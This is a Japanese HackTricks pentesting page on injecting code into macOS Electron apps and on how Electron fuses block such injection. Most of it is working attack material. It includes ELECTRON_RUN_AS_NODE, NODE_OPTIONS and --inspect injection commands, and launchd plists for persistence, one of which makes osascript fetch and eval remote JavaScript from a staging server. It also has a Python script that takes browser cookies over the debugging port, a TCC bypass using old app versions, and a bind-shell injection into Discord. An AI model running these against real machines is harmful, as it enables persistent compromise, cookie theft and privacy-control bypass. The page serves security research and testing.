19 KiB
macOS Electronアプリケーションのインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricks swagを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
基本情報
Electronが何であるかわからない場合は、ここにたくさんの情報があります。ただし、今のところ、Electronはnodeを実行することを知っておいてください。
そして、nodeには、指定されたファイル以外のコードを実行するために使用できるパラメータと環境変数があります。
Electron Fuses
これらのテクニックは次に説明しますが、最近のElectronでは、これらを防ぐためのいくつかのセキュリティフラグが追加されています。これらはElectron Fusesであり、これらはmacOSでElectronアプリが任意のコードを読み込むのを防ぐために使用されます。
RunAsNode
: 無効にすると、コードをインジェクションするための環境変数**ELECTRON_RUN_AS_NODE
**の使用を防ぎます。EnableNodeCliInspectArguments
: 無効にすると、--inspect
、--inspect-brk
などのパラメータは無視されます。これにより、コードのインジェクションが防止されます。EnableEmbeddedAsarIntegrityValidation
: 有効にすると、ロードされた**asar
**ファイルがmacOSによって検証されます。これにより、このファイルの内容を変更してコードをインジェクションすることが防止されます。OnlyLoadAppFromAsar
: これが有効になっている場合、次の順序でロードする代わりに、app.asar
、app
、最後に**default_app.asar
を検索してロードします。したがって、embeddedAsarIntegrityValidation
フューズと組み合わせると、検証されていないコードをロードすることは不可能**です。LoadBrowserProcessSpecificV8Snapshot
: 有効にすると、ブラウザプロセスはV8スナップショットにbrowser_v8_context_snapshot.bin
という名前のファイルを使用します。
コードインジェクションを防止しないもう1つの興味深いフューズは次のとおりです。
- EnableCookieEncryption: 有効にすると、ディスク上のクッキーストアはOSレベルの暗号化キーを使用して暗号化されます。
Electron Fusesの確認
アプリケーションからこれらのフラグを確認することができます。
npx @electron/fuses read --app /Applications/Slack.app
Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
Electronフューズの変更
ドキュメントによると、Electronフューズの設定は、Electronバイナリ内に設定されており、その中には文字列**dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX
**が含まれています。
macOSアプリケーションでは、通常、application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework
に配置されています。
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
https://hexed.it/でこのファイルをロードし、前の文字列を検索することができます。この文字列の後には、各ヒューズが無効または有効であることを示すASCIIの数字「0」または「1」が表示されます。ヒューズの値を変更するには、16進コード(0x30
は0
であり、0x31
は1
です)を変更します。
ただし、これらのバイトが変更された状態でアプリケーション内の**Electron Framework
バイナリ**を上書きしようとすると、アプリが実行されなくなります。
Electronアプリケーションへのコードの追加によるRCE
Electronアプリが使用している外部のJS/HTMLファイルが存在する場合、攻撃者はこれらのファイルにコードを注入し、シグネチャがチェックされないため、アプリのコンテキストで任意のコードを実行することができます。
{% hint style="danger" %} ただし、現時点では2つの制限があります:
- アプリを変更するには、**
kTCCServiceSystemPolicyAppBundles
**権限が必要です。したがって、デフォルトではこれはもはや可能ではありません。 - コンパイルされた**
asap
ファイルには通常、ヒューズembeddedAsarIntegrityValidation
とonlyLoadAppFromAsar
**が有効になっています。
これにより、この攻撃経路はより複雑になります(または不可能になります)。 {% endhint %}
kTCCServiceSystemPolicyAppBundles
の要件をバイパスすることも可能であり、アプリケーションを別のディレクトリ(たとえば/tmp
)にコピーし、フォルダ**app.app/Contents
をapp.app/NotCon
に名前を変更し、悪意のあるコードでasarファイルを変更し、それをapp.app/Contents
**に戻し、実行することができます。
ELECTRON_RUN_AS_NODE
によるRCE
ドキュメントによると、この環境変数が設定されている場合、プロセスは通常のNode.jsプロセスとして開始されます。
{% code overflow="wrap" %}
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
{% hint style="danger" %}
もしfuse **RunAsNode
が無効になっている場合、環境変数ELECTRON_RUN_AS_NODE
**は無視され、これは機能しません。
{% endhint %}
アプリのPlistからのインジェクション
ここで提案されているように、この環境変数をplistに悪用することで持続性を維持することができます:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
NODE_OPTIONS
を使用したRCE
異なるファイルにペイロードを保存し、実行することができます:
{% code overflow="wrap" %}
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
{% endcode %}
{% hint style="danger" %}
もし、fuse EnableNodeOptionsEnvironmentVariable
が 無効 になっている場合、アプリは起動時に環境変数 NODE_OPTIONS を 無視 します。ただし、環境変数 ELECTRON_RUN_AS_NODE
が設定されている場合は、それも 無視 されます。なお、fuse RunAsNode
も無効になっている場合は、同様に 無視 されます。
{% endhint %}
アプリの Plist からのインジェクション
この環境変数を plist に悪用することで、以下のキーを追加して持続性を維持することができます:
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
インスペクトによるRCE
こちらによると、Electronアプリケーションを**--inspect
、--inspect-brk
、--remote-debugging-port
などのフラグを使用して実行すると、デバッグポートが開かれ、それに接続することができます(たとえば、chrome://inspect
のChromeから)。そして、それに対してコードを注入**したり、新しいプロセスを起動したりすることができます。
例えば:
{% code overflow="wrap" %}
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
{% hint style="danger" %}
もしfuse**EnableNodeCliInspectArguments
が無効になっている場合、アプリは起動時に--inspect
のようなノードのパラメータを無視します。ただし、環境変数ELECTRON_RUN_AS_NODE
が設定されている場合は、それも無視されます。fuseRunAsNode
**が無効になっている場合も同様です。
ただし、引き続き**electronパラメータ--remote-debugging-port=9229
**を使用することはできますが、前述のペイロードでは他のプロセスを実行することはできません。
{% endhint %}
パラメータ**--remote-debugging-port=9222
を使用すると、Electronアプリから履歴**(GETコマンドを含む)やブラウザのクッキー(ブラウザ内で復号され、それらを提供するJSONエンドポイントが存在する)などの情報を盗むことができます。
これについては、こちらとこちらで学ぶことができます。また、自動ツールWhiteChocolateMacademiaNutや以下のようなシンプルなスクリプトを使用することもできます:
import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
アプリのPlistからのインジェクション
これらのキーを追加して永続性を維持するために、この環境変数をPlistで悪用することができます:
<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
TCCバイパス:古いバージョンの悪用
{% hint style="success" %} macOSのTCCデーモンは、実行されるアプリケーションのバージョンをチェックしません。したがって、前述のいずれの技術でもElectronアプリケーションにコードをインジェクトできない場合は、以前のバージョンのアプリをダウンロードし、それにコードをインジェクトすることができます。これにより、TCCの特権を取得できます。 {% endhint %}
自動インジェクション
ツールelectroniz3rは、インストールされている脆弱なElectronアプリケーションを見つけ、それらにコードをインジェクトするために簡単に使用できます。このツールは、--inspect
技術を使用しようとします。
自分でコンパイルする必要があり、次のように使用できます:
# Find electron apps
./electroniz3r list-apps
╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ Bundle identifier │ Path ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop /Applications/Signal.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app
com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient /Applications/GitHub Desktop.app
com.ledger.live /Applications/Ledger Live.app
com.postmanlabs.mac /Applications/Postman.app
com.tinyspeck.slackmacgap /Applications/Slack.app
com.hnc.Discord /Applications/Discord.app
# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"
/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`
# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
参考文献
- https://www.electronjs.org/docs/latest/tutorial/fuses
- https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks
- https://m.youtube.com/watch?v=VWQY5R2A6X8
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。